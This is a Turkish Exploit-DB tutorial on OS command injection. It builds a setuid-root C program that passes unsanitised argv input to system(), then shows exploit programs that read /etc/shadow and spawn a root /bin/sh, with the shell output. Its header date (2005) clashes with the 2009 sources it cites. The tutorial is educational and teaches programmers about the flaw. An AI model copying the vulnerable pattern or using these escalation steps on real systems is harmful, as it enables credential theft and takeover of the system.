[Turkish] OS Command Injection Vulnerabilities

EDB-ID:

13597

CVE:

N/A




Platform:

Linux

Date:

2010-01-22


---[ OS Command Injection Vulnerabilities [23/03/2005]
---[ murderkey <murderkey[n0_sp4m]gmail[zot]com
---[ Hellcode Research Lab | The Computer Cheats
---[ http://tcc.hellcode.net | hellcode.net



Geçtiðimiz günlerde, Amerikan Ulusal Güvenlik Teþkilatý (NSA) çeþitli güvenlik firmalarýyla 
ortaklaþa yaptýðý bir araþtýrmanýn istatistiksel sonuçlarýný duyurdu. Araþtýrmada programcýlardan 
kaynaklanan en tehlikeli 25 hata yer aldý. "Ýþletim Sistemleri Komut Enjeksiyonu" zayýflýðý bu 
listenin 5. sýrasýnda ve risk seviyesi yüksek olarak iþaretlenmiþ. Bu yazýda, söz konusu zayýflýðýn 
nasýl oluþtuðu ve engellenmesi için neler yapýlmasý gerektiði anlatýlacaktýr.

Nedir ve Nasýl Çalýþýr ?
Zaman zaman yazýlýmlarda, çeþitli fonksiyonlarý yerine getirmek için harici bir yazýlým (komut/modül) 
çaðýrmak gerekebiliyor.Örnek olarak Linux, Solaris, BSD, Plan9 gibi sistemler üzerinde ki watch, time 
vb. komutlar verilebilir.Söz konusu hatanýn kurbaný olmak, hemen her programlama dilinde (JAVA,Assembly,
 C/C++ vb...) ve hemen her iþletim sisteminde mümkün ve bu zayýflýk sayesinde lokal bir kullanýcý, 
yetkisini en üst düzeye yükseltebilir veya komutlar çalýþtýrabilir. 

Öncelikle senaryo þu olsun, yazdýðýnýz bir yazýlým "root" yetkisiyle sisteme kurulmuþ,  ve yazdýðýnýz 
yazýlýmýn çeþitli fonksiyonlarý yerine getiren alt yazýlýmlarý/moduler var ana programýnýzda Linux'ta 
hazýr bulunan ve belirtilen yazýlýmýn iþlem hýzýný gösteren "time" komutunu kullanarak ana programýnýzdan 
alt programlarýn iþlem hýzýný göstermek istiyorsunuz.Aþaðýda ki, söz konusu zayýflýðý barýndýran kodu 
bunu yapan kod parçasý olarak düþünün.

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char *argv[])
{
	char komut[256];
if(argc<2)
{
	printf("Hata: islem hizini ogrenmek istediginiz programi girin!\n");
}
memset(&komut,0,sizeof(komut));
strcat(komut, "time ./");
strcat(komut,argv[1]);
system(komut);
return 0;
}

Hatayý barýndýran kodumuzu derliyoruz ve programýmýzýn haklarýný deðiþtiriyoruz, senaryomuza göre, 
varsayalým ki programýmýz "root" haklarýyla yani en üst düzey kullanýcý haklarýyla çalýþýyor.

murderkey@labs:~$ cc vuln.c -o vuln
root@lab:~# chown root.root vuln
root@lab:~# chmod +s vuln
root@lab:~# exit
murderkey@labs:~$

Yukarda ne yaptýk? Öncelikle programýmýzý derledik hemen ardýndan kullanýcý sahibini deðiþtirdik ve onun 
ardýndan da "+s" parametresi ile program calýþtýðý sürece calýþanýn o haklara sahip olmasýný saðladýk. Devam 
edelim ve  programýmýzý çalýþtýralým, bakalým istediðimiz gerçekleþiyor mu? Ondan önce, ben ekrana basitçe 
"Merhaba Dünya" mesajini basan bir kod yazdým ve derledim amacim bu programýn iþlem hýzýný ögrenmek.

murderkey@lab:~$ ./vuln helloworld
Merhaba dunya
real 0m0.002s
user 0m0.000s
sys  0m0.000s
murderkey@lab:~$

Bir programcý klasiði olan merhaba dünya adlý ufak bir yazýlým yazdýk ve vuln adlý yazýlýmýmýzý hatýrlýyorsanýz 
parametre olarak girilen yazýlýmlarýn çalýþma hýzýný gösteriyordu, bizde parametre olarak Merhaba Dünya yazan 
programýmýzýn çalýþma hýzýný öðrenmek istedik.Buraya kadar yazýlýmýmýz sorunsuz çalýþtý görünürde hiçbirþey yok. 
Kodumuz bu haliyle gayet masum görünüyor fakat programa verilen girdilerde daha farklý davranan bir kullanýcý, 
programýnda farklý davranmasýna sebep olacaktýr.

Biz burada helloworld adlý kod yerine baþka birþey calýþtýrsak ne olurdu? Örneðin, cat /etc/shadow adlý komutu 
çalýþtýran veya bize yeni bir shell (kabuk) açan ufak bir kod yazsak ne olur ? Görmek için devam edelim ve C dilinde 
belirtilen komutlarý iþleyen bir kod yazalým.



main(void)
{
system("cat /etc/shadow");
return 0;
}


murderkey@lab:~$ cc exp1.c -o exp1
murderkey@lab:~$ ./vuln exp1 
... 
sync:*:14062:0:99999:7:::
games:*:14062:0:99999:7:::
man:*:14062:0:99999:7:::
lp:*:14062:0:99999:7:::
mail:*:14062:0:99999:7:::
news:*:14062:0:99999:7:::
uucp:*:14062:0:99999:7:::
...
real 0m0.003s
user 0m0.000s
sys  0m0.000s

murderkey@lab:~$


Aklýmýza gelen fikir kusursuz iþe yaradý. Normal þartlar altýnda sistemde ki kullanýcýlarýn (user) kullandýðý 
þifreleri ancak "root" yetkisine sahipseniz görebilirsiniz (istisnalar hariç tabii) ama hatýrlayýn zayýflýða 
sahip programýmýz üzerinden bir kod çalýþtýrdýk ve zayýflýða sahip yazýlým root yetkileriyle çalýþýyor bundan 
dolayý normal kullanýcý yetkilerine sahip bir kodu root yetkisiyle çalýþtýrmayý baþardýk.

Þimdi biraz daha ileri gidelim ve root yetkilerine sahip bir shell açmaya çalýþarak sistemde ki eriþim seviyemizi 
en üst düzeye çekmeye çalýþalým, ayný þekilde "cat /etc/shadow" komutunu çalýþtýran kodumuzun tek satýrýný 
deðiþtirerek derliyoruz.

main(void)
{
system("/bin/sh");
return 0;
}

murderkey@lab:~$ cc exp2.c -o exp2
murderkey@lab:~$ ./vuln exp2
real 0m0.002
user 0m0.000
sys  0m0.000

root@lab:~# id
uid=0(root) gid=0(root) groups=0(root)

Sonuç:


Görüldüðü gibi tek satýrý deðiþtirerek programýmýzdaki zayýflýk sayesinde  sistemde en üst düzey kullanýcý yetkisi 
yani "root" yetkisine ulaþtýk.Sanýrým NSA yaptýðý araþtýrmada sistemlere zarar veren en tehlikeli 25 açýk arasýnda 
5. sýraya yazýmýzýn konusu olan Komut Enjeksiyonu hatasýný koymakla hata yapmamýþ.Çok basit ve gözden kaçmasý kolay 
olan fakat risk seviyesi oldukça yüksek bir hata, çeþitli filtrelemelerle veya kullanýcý haklarýnýn iyi ayarlanmasý 
(gerekli fonksiyolar kullanilarak) söz konusu sorun basitçe aþýlabilir.Benim amacým, bu yazýda durumun ciddiyetini 
programcýlara göstermek fakat talebe baðlý olarak çeþitli yazýlým açýklarýnýn (Buffer Overflow, Format String vs) nasýl 
engellenebileceðine dair ufak bir yazý yazýlabilir. Umarým bu yazý konunun ciddiyeti hakkýnda kafanýzda bir þeylerin 
oluþmasýna yardýmcý olmuþtur.Yazýda herhangi bir hata veya atladýðým nokta olduðunu düþünüyorsanýz iletiþime geçerek 
yardýmcý olabilirsiniz ve tabii bunun için üzgünüm.





Referans:


[1] CWE/SANS TOP 25 Most Dangerous Programming Errors http://www.sans.org/top25errors

[2] Phrack #59: Runtime Process infection http://www.phrack.org/issues.html?issue=59&id=8#article

[3] Least Privilege http://www.hellcode.net/ppe.txt

[4] FreeBSD Telnet Daemon Zero-Day (Yazýnýn yazýlmasýndan bir gün sonra) http://blog.lifeoverip.net/2009/02/15/freebsd-telnet-daemon-zero-day-acikligi/